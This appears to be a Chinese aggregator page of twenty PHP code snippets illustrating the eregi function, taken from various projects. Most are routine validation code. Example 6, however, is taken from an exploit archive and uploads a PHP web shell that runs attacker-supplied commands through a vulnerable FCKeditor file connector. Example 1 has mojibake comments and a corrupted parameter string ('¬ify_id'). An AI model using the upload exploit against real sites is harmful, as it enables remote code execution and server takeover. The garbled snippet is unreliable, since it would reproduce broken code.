本文整理汇总了PHP中eregi函数的典型用法代码示例。如果您正苦于以下问题:PHP eregi函数的具体用法?PHP eregi怎么用?PHP eregi使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了eregi函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: notify_verify
function notify_verify()
{
//¶Ônotify_urlµÄÈÏÖ¤
if ($this->transport == "https") {
$veryfy_url = $this->gateway . "service=notify_verify" . "&partner=" . $this->partner . "¬ify_id=" . $_POST["notify_id"];
} else {
$veryfy_url = $this->gateway . "notify_id=" . $_POST["notify_id"] . "&partner=" . $this->partner;
}
$veryfy_result = $this->get_verify($veryfy_url);
$post = $this->para_filter($_POST);
$sort_post = $this->arg_sort($post);
while (list($key, $val) = each($sort_post)) {
$arg .= $key . "=" . $val . "&";
}
$prestr = substr($arg, 0, count($arg) - 2);
//È¥µô×îºóÒ»¸ö&ºÅ
$this->mysign = $this->sign($prestr . $this->security_code);
//**********************************ÉÏÃæдÈÕÖ¾
log_result("sign_log=" . $_POST["sign"] . "&" . $this->mysign . "&" . $this->charset_decode(implode(",", $_GET), $this->_input_charset));
//**********************************ÉÏÃæдÈÕÖ¾
if (eregi("true\$", $veryfy_result) && $this->mysign == $_POST["sign"]) {
return true;
} else {
return false;
}
}
开发者ID:macconsultinggroup,项目名称:WordPress,代码行数:26,代码来源:alipay_notify.php
示例2: on_submit
function on_submit()
{
$email_list = Url::get('email_list');
$count = 0;
if ($email_list) {
$arr = explode("\n", $email_list);
$arr_tmp = array();
$email_list = '';
if ($arr) {
foreach ($arr as $email) {
$email = str_replace(array(chr(13), chr(10)), '', stripslashes($email));
if (eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\\.[A-Z]{2,6}\$", $email) && !isset($arr_tmp[$email])) {
$email_list .= ($email_list ? "\n" : '') . $email;
$arr_tmp[$email] = 1;
$count++;
}
}
}
}
$this->email_list = array('email_list' => addslashes($email_list), 'time' => TIME_NOW, 'time_modify' => TIME_NOW);
$this->checkFormInput('Danh sách email', 'email_list', $email_list, 'str', true, '', 1);
if ($count > 50) {
$this->setFormError('', "Bạn đã nhập vào {$count} email, số mail nhập vào phải <=50!");
}
if (!$this->errNum) {
$id = DB::insert('spam_mail', $this->email_list);
if ($id) {
Url::redirect_current(array('cmd' => 'email_list'));
} else {
$this->setFormError('', 'Không cập nhật được CSDL!');
}
}
}
开发者ID:duynhan07,项目名称:elink,代码行数:33,代码来源:AddEmail.php
示例3: _getDivs
/**
* look for the opening and closing divs with a particular $class in the $subject
* Have to count opening and closing divs since regexes are not so good matching opening and closing tags
*/
function _getDivs($subject, $class)
{
preg_match_all("/<div[^>]+class\\=\"{$class}\"[^>]*>/is", $subject, $matches, PREG_OFFSET_CAPTURE);
$matches = $matches[0];
for ($i = 0; $i < count($matches); $i++) {
$openDivs = 0;
$closedDivs = 0;
$divClosePosition = 0;
$divPosition = array();
preg_match_all("/<\\/?div[^>]*>/is", $subject, $divPosition, PREG_OFFSET_CAPTURE, $matches[$i][1]);
$divPosition = $divPosition[0];
for ($i2 = 0; $i2 < count($divPosition); $i2++) {
if (eregi("\\/", $divPosition[$i2][0])) {
$closedDivs++;
} else {
$openDivs++;
}
if ($closedDivs > $openDivs - 1) {
$divClosePosition = $divPosition[$i2][1];
$divLength = $divClosePosition + 6 - $matches[$i][1];
$divs[$i] = substr($subject, $matches[$i][1], $divLength);
break;
}
}
}
return $divs;
}
开发者ID:ingmarschuster,项目名称:MindResearchRepository,代码行数:31,代码来源:RoundedCornersPlugin.inc.php
示例4: parse
function parse($xml)
{
$nav = $xml->getElementsByTagName('navigation');
$nav = $nav->item(0);
foreach ($nav->childNodes as $child) {
$this->navigation[$child->nodeName] = $child->getText();
}
$attr = $xml->getElementsByTagName('attributes');
$attr = $attr->item(0);
foreach ($attr->childNodes as $child) {
$this->attributes[$child->nodeName] = $child->getText();
}
$cats = $xml->getElementsByTagName('categories');
$cats = $cats->item(0);
foreach ($cats->childNodes as $c) {
$name = htmlspecialchars($c->getAttribute('name'));
$this->categories[$name] = array('' => array());
$this->cat_tr[$name] = htmlspecialchars(trim($c->firstChild->nodeValue));
if ($c->childCount > 0) {
foreach ($c->childNodes as $s) {
if ($s->nodeType == 1) {
$this->categories[$name][$s->getAttribute('name')] = array();
$this->cat_tr[$s->getAttribute('name')] = trim($s->firstChild->nodeValue);
}
}
}
}
$meta = $xml->getElementsByTagName('meta');
$meta = $meta->item(0);
foreach ($meta->childNodes as $child) {
$nodeName = $child->nodeName;
eregi("<{$nodeName}>(.*)<\\/{$nodeName}>", $child->toString(), $matches);
$this->meta[$nodeName] = $matches[1];
}
}
开发者ID:parsoyaarihant,项目名称:processing-docs,代码行数:35,代码来源:Translation.class.php
示例5: alterTableColumn
function alterTableColumn($table, $colname = array(), $operation = 'drop', $type = 'int', $thekey = '', $notnull = FALSE, $default = '', $extra = NULL)
{
$result = '';
if (count($colname) > 0) {
$result .= 'ALTER TABLE ' . $this->getTblName($table) . ' ' . strtoupper($operation) . ' COLUMN ' . $colname[0];
if ($operation == "change") {
$result .= ' ' . $colname[1];
}
if (!eregi('drop', $operation)) {
$result .= ' ' . $type;
if (trim($thekey) != '' && !eregi('pri', $thekey)) {
if (eregi('uni', $thekey)) {
$result .= ' UNIQUE';
}
}
if ($notnull !== FALSE) {
$result .= ' NOT NULL';
}
if (trim($default) != '') {
$result .= ' DEFAULT ' . $default;
}
if (!is_null($extra)) {
$result .= ' ' . $extra;
}
}
}
return $result;
}
开发者ID:emmank,项目名称:cardiac,代码行数:28,代码来源:dbquery.php
示例6: upload
function upload()
{
global $host, $path;
$connector = "/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php";
$file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext) {
print "\n[-] Trying to upload with .{$ext} extension...";
$data = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$data .= "--12345--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: " . strlen($data) . "\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\\((.*),'(.*)'\\)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) {
die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
}
$packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) {
return $ext;
}
sleep(1);
}
return false;
}
开发者ID:SuperQcheng,项目名称:exploit-database,代码行数:33,代码来源:5922.php
示例7: pop3_connect
function pop3_connect($mail, $pass, $serv, $port = 110)
{
$fserv = fsockopen($serv, $port);
if (!$fserv) {
return -1;
}
//Cannot connect
$resp = fgets($fserv);
//echo($resp); //Debug
$request = "USER {$mail}\nPASS {$pass}\n";
fwrite($fserv, $request);
$resp = fgets($fserv);
if (!eregi("\\+", $resp)) {
return -2;
}
//Bad username
//echo($resp);
$resp = fgets($fserv);
if (!eregi("\\+", $resp)) {
return -3;
}
//Bad password
//echo($resp);
return $fserv;
}
开发者ID:Harvie,项目名称:Programs,代码行数:25,代码来源:mailcheck.php
示例8: freq_analyze
function freq_analyze($infile, $cereg = '[a-z ]')
{
//Make frequency fingerprint
$debug = 100;
$total = 0;
$in = fopen($infile, 'r');
while (!feof($in)) {
$c = strtolower(fgetc($in));
if (eregi($cereg, $c)) {
if (!isset($data[$c])) {
$data[$c] = 0;
}
$data[$c]++;
$total++;
}
}
fclose($in);
//Compute percents
foreach ($data as $c => $n) {
$data[$c] = $n / $total * 100;
$debug -= $data[$c];
}
//echo("Debug: $debug\n"); //Debug
return $data;
}
开发者ID:Harvie,项目名称:Programs,代码行数:25,代码来源:analyze_language.php
示例9: check
/** overloaded check function */
function check()
{
// filter malicious code
$ignoreList = array('params');
$this->filter($ignoreList);
// specific filters
$callcheck = array('InputFilter', 'process');
if (!is_callable($callcheck)) {
require_once mamboCore::get('mosConfig_absolute_path') . '/includes/phpInputFilter/class.inputfilter.php';
}
// specific filters
$iFilter =& new InputFilter();
if ($iFilter->badAttributeValue(array('href', $this->url))) {
$this->_error = T_('Please provide a valid URL');
return false;
}
/** check for valid name */
if (trim($this->title) == '') {
$this->_error = T_('Your web link must be given a title.');
return false;
}
if (!(eregi('http://', $this->url) || eregi('https://', $this->url) || eregi('ftp://', $this->url))) {
$this->url = 'http://' . $this->url;
}
/** check for existing name */
$this->title = $this->_db->getEscaped($this->title);
$this->catid = $this->_db->getEscaped($this->catid);
$this->_db->setQuery("SELECT id FROM #__weblinks " . "\nWHERE title='{$this->title}' AND catid='{$this->catid}'");
$xid = intval($this->_db->loadResult());
if ($xid && $xid != intval($this->id)) {
$this->_error = T_('There is already a web link that name, please try again.');
return false;
}
return true;
}
开发者ID:jwest00724,项目名称:mambo,代码行数:36,代码来源:weblinks.class.php
示例10: go
function go()
{
$this->JxAuthNo();
if ((int) $_GET['linkID'] > 0) {
$sql = "SELECT *\n FROM menu_links\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
if (!DB::isError($result) && $result->numRows()) {
$row = $result->fetchRow();
$sql = "UPDATE menu_links\n SET hits=(hits + 1)\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
$go = $row['url'];
}
} elseif ((int) $_GET['categoryID'] > 0) {
$sql = "SELECT *\n FROM menu_categories\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
if (!DB::isError($result) && $result->numRows()) {
$row = $result->fetchRow();
$sql = "UPDATE menu_categories\n SET hits=(hits + 1)\n WHERE contentID='" . $_GET['linkID'] . "'";
$result = $this->db->query($sql);
$go = $row['url'];
}
}
if (!eregi('^http', $go)) {
$go = $_SERVER['SCRIPT_NAME'] . $go;
}
header("Location: {$go}");
exit;
}
开发者ID:joestump,项目名称:jax,代码行数:28,代码来源:go.php
示例11: ic_system_info
function ic_system_info()
{
$thread_safe = false;
$debug_build = false;
$cgi_cli = false;
$php_ini_path = '';
ob_start();
phpinfo(INFO_GENERAL);
$php_info = ob_get_contents();
ob_end_clean();
foreach (split("\n", $php_info) as $line) {
if (eregi('command', $line)) {
continue;
}
if (eregi('thread safety.*(enabled|yes)', $line)) {
$thread_safe = true;
}
if (eregi('debug.*(enabled|yes)', $line)) {
$debug_build = true;
}
if (eregi("configuration file.*(</B></td><TD ALIGN=\"left\">| => |v\">)([^ <]*)(.*</td.*)?", $line, $match)) {
$php_ini_path = $match[2];
if (!@file_exists($php_ini_path)) {
$php_ini_path = '';
}
}
$cgi_cli = strpos(php_sapi_name(), 'cgi') !== false || strpos(php_sapi_name(), 'cli') !== false;
}
return array('THREAD_SAFE' => $thread_safe, 'DEBUG_BUILD' => $debug_build, 'PHP_INI' => $php_ini_path, 'CGI_CLI' => $cgi_cli);
}
开发者ID:holandacz,项目名称:nb4,代码行数:30,代码来源:test.php
示例12: copysms
function copysms($Text, $Sender, $DateTime, $id)
{
global $new_db, $new_db_table, $smsd_db;
if (eregi("([0-9]{1,})(#)([a-z]{1,})(#)(.*)", $Text, $regs)) {
$testo = "" . $regs[5] . "";
$category = "" . $regs[1] . "";
$off_rich = "" . $regs[3] . "";
if ($off_rich == 'r' || $off_rich == 'R') {
$offerta_richiesta = "a";
} else {
$offerta_richiesta = "v";
}
} else {
$testo = $Text;
$category = "45";
$offerta_richiesta = "v";
}
mysql_select_db("{$new_db}");
$result = mysql_query("insert into {$new_db_table} (ID,Text_Offer,Text_Category,PhoneNumber,Text_Other,DateTime) values ('{$id}','{$offerta_richiesta}','{$category}','{$Sender}','" . mysql_real_escape_string($testo) . "','{$DateTime}')");
//mark sms in Gammu smsd as processed
mysql_select_db("{$smsd_db}");
while ($id != "") {
if (eregi("([0-9]{1,})(,)(.*)", $id, $id2)) {
// echo $id2[1]."<br>";
$result = mysql_query("update inbox set Processed='true' WHERE ID='{$id2['1']}'");
$id = $id2[3];
} else {
$result = mysql_query("update inbox set Processed='true' WHERE ID='{$id}'");
// echo $id;
break;
}
}
// echo "<br><br>";
}
开发者ID:heruprasetya,项目名称:Codeigniter-SMS-Gateway-Gammu,代码行数:34,代码来源:linked.php
示例13: isEmail
function isEmail($eMailAddress)
{
if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}\$", $eMailAddress, $check)) {
return true;
}
return false;
}
开发者ID:jesseoliveira,项目名称:e-sic-livre-git,代码行数:7,代码来源:funcoes.php
示例14: OpenTag
/** returnes true if $p_tag is a "<open tag>"
@param $p_tag - tag string
$p_array - tag array;
@return true/false
*/
function OpenTag($p_tag, $p_array)
{
$aTAGS =& $this->aTAGS;
$aHREF =& $this->aHREF;
$maxElem =& $this->iTagMaxElem;
if (!eregi("^<([a-zA-Z1-9]{1,{$maxElem}}) *(.*)>\$", $p_tag, $reg)) {
return false;
}
$p_tag = $reg[1];
$sHREF = array();
if (isset($reg[2])) {
preg_match_all("|([^ ]*)=[\"'](.*)[\"']|U", $reg[2], $out, PREG_PATTERN_ORDER);
for ($i = 0; $i < count($out[0]); $i++) {
$out[2][$i] = eregi_replace("(\"|')", "", $out[2][$i]);
array_push($sHREF, array($out[1][$i], $out[2][$i]));
}
}
if (in_array($p_tag, $aTAGS)) {
return false;
}
//tag already opened
if (in_array("</{$p_tag}>", $p_array)) {
array_push($aTAGS, $p_tag);
array_push($aHREF, $sHREF);
return true;
}
return false;
}
开发者ID:tavo1981,项目名称:phpbar,代码行数:33,代码来源:class.string_tags.php
示例15: SprawdzEmail
function SprawdzEmail($email)
{
if (!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,4}\$", $email)) {
return false;
}
return true;
}
开发者ID:mleczkopawel,项目名称:my_website,代码行数:7,代码来源:mail.php
示例16: tiltviewer_gallery
function tiltviewer_gallery()
{
$item_id = EClassApi::getParam('item_id');
if ($item_id) {
$sql = 'select id, original_image_url, title, position from item_image where item_id = ' . intval($item_id) . ' ORDER BY position ';
DB::query($sql);
if (DB::num_rows()) {
$entry = '';
while ($rows = DB::fetch_row()) {
$rows['title'] = $rows['title'] ? $rows['title'] : "Image {$rows['position']}";
$rows['title'] = trim(XMLLib::_xml_encode_attribute($rows['title']));
if (eregi('/', $rows['original_image_url'])) {
$url = trim(XMLLib::_xml_encode_attribute("http://" . IMAGE_PATH . "{$rows['original_image_url']}"));
} else {
$url = trim(XMLLib::_xml_encode_attribute("http://" . IMAGE_PATH . "uploaded/items/{$rows['original_image_url']}"));
}
//$rows['description'] = trim( XMLLib::_xml_encode_attribute(html_entity_decode( $rows['description'], ENT_QUOTES, "UTF-8")));
$entry .= "\n\t\t\t\t\t\t<photo imageurl=\"{$url}\" linkurl=\"http://www.chonmon.vn\">\n\t\t\t\t\t\t\t<title>{$rows['title']}</title>\n\t\t\t\t\t\t</photo>\t\t \t \t\n\t\t\t \t \t";
}
@header("Content-type: text/xml");
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . '>';
echo "<tiltviewergallery><photos>";
echo $entry;
echo "</photos></tiltviewergallery>";
} else {
die("no_info");
}
} else {
die("no_info");
}
}
开发者ID:hqd276,项目名称:bigs,代码行数:31,代码来源:xml_item.xml.php
示例17: get_device_useragent
function get_device_useragent($device)
{
global $astman;
$response = $astman->send_request('Command', array('Command' => "sip show peer {$device}"));
$astout = explode("\n", $response['data']);
$ua = "";
foreach ($astout as $entry) {
if (eregi("useragent", $entry)) {
list(, $value) = split(":", $entry);
$ua = trim($value);
}
}
if ($ua) {
if (stristr($ua, "Aastra")) {
return "aastra";
}
if (stristr($ua, "Grandstream")) {
return "grandstream";
}
if (stristr($ua, "snom")) {
return "snom";
}
if (stristr($ua, "Cisco")) {
return "cisco";
}
if (stristr($ua, "Polycom")) {
return "polycom";
}
}
return null;
}
开发者ID:hardikk,项目名称:HNH,代码行数:31,代码来源:functions.inc.php
示例18: insert
public function insert($data)
{
if (!$this->ifLogin($data['login'])) {
throw new User_Validation_Exception('Podany login istnieje juz w bazie danych! Wybierz inny.');
}
if (empty($data['login']) && empty($data['haslo'])) {
throw new User_Validation_Exception('Nie podales loginu ani hasla!');
}
if (empty($data['login'])) {
throw new User_Validation_Exception('Nie podales loginu!');
}
if (strlen($data['login']) < 5) {
throw new User_Validation_Exception('Login musi skladac sie z co najmniej 5 znakow!');
}
if (empty($data['haslo'])) {
throw new User_Validation_Exception('Nie podales hasla!');
}
if (strlen($data['haslo']) < 5) {
throw new User_Validation_Exception('Haslo musi skladac sie z co najmniej 5 znakow!');
}
if (!eregi('^[a-zA-z]', $data['login'])) {
throw new User_Validation_Exception('Login musi zaczynac sie od litery!');
}
return parent::insert($data);
}
开发者ID:BackupTheBerlios,项目名称:phppool,代码行数:25,代码来源:Uzytkownicy.php
示例19: zen_create_random_value
function zen_create_random_value($length, $type = 'mixed')
{
if ($type != 'mixed' && $type != 'chars' && $type != 'digits') {
return false;
}
$rand_value = '';
while (strlen($rand_value) < $length) {
if ($type == 'digits') {
$char = zen_rand(0, 9);
} else {
$char = chr(zen_rand(0, 255));
}
if ($type == 'mixed') {
if (eregi('^[a-z0-9]$', $char)) {
$rand_value .= $char;
}
} elseif ($type == 'chars') {
if (eregi('^[a-z]$', $char)) {
$rand_value .= $char;
}
} elseif ($type == 'digits') {
if (ereg('^[0-9]$', $char)) {
$rand_value .= $char;
}
}
}
return $rand_value;
}
开发者ID:bitweaver,项目名称:commerce,代码行数:28,代码来源:password_funcs.php
示例20: autoRun
public function autoRun()
{
if (!eregi('redirecionar=', $_SERVER['QUERY_STRING']) && !$this->system->input['redirecionar']) {
$this->redir = base64_encode('index.php?' . $_SERVER['QUERY_STRING']);
} else {
$this->redir = stripslashes($this->system->input['redirecionar']);
}
if (in_array($this->system->session->getItem('session_nivel'), $this->acessoPermitido)) {
$this->system->view->assign('categoria', $this->system->admin->getCategoria());
switch ($this->system->input['do']) {
case 'listar':
$this->doListar();
break;
case 'novo':
$this->doEdicao();
break;
case 'editar':
$this->doEdicao();
break;
case 'apagar':
$this->doDeletar();
break;
case 'buscar':
$this->doListar();
break;
default:
$this->pagina404();
break;
}
} else {
$this->pagina404();
}
}
开发者ID:eltonsarmento,项目名称:CursosIAG,代码行数:33,代码来源:empreendedor.global.php
注:本文中的eregi函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论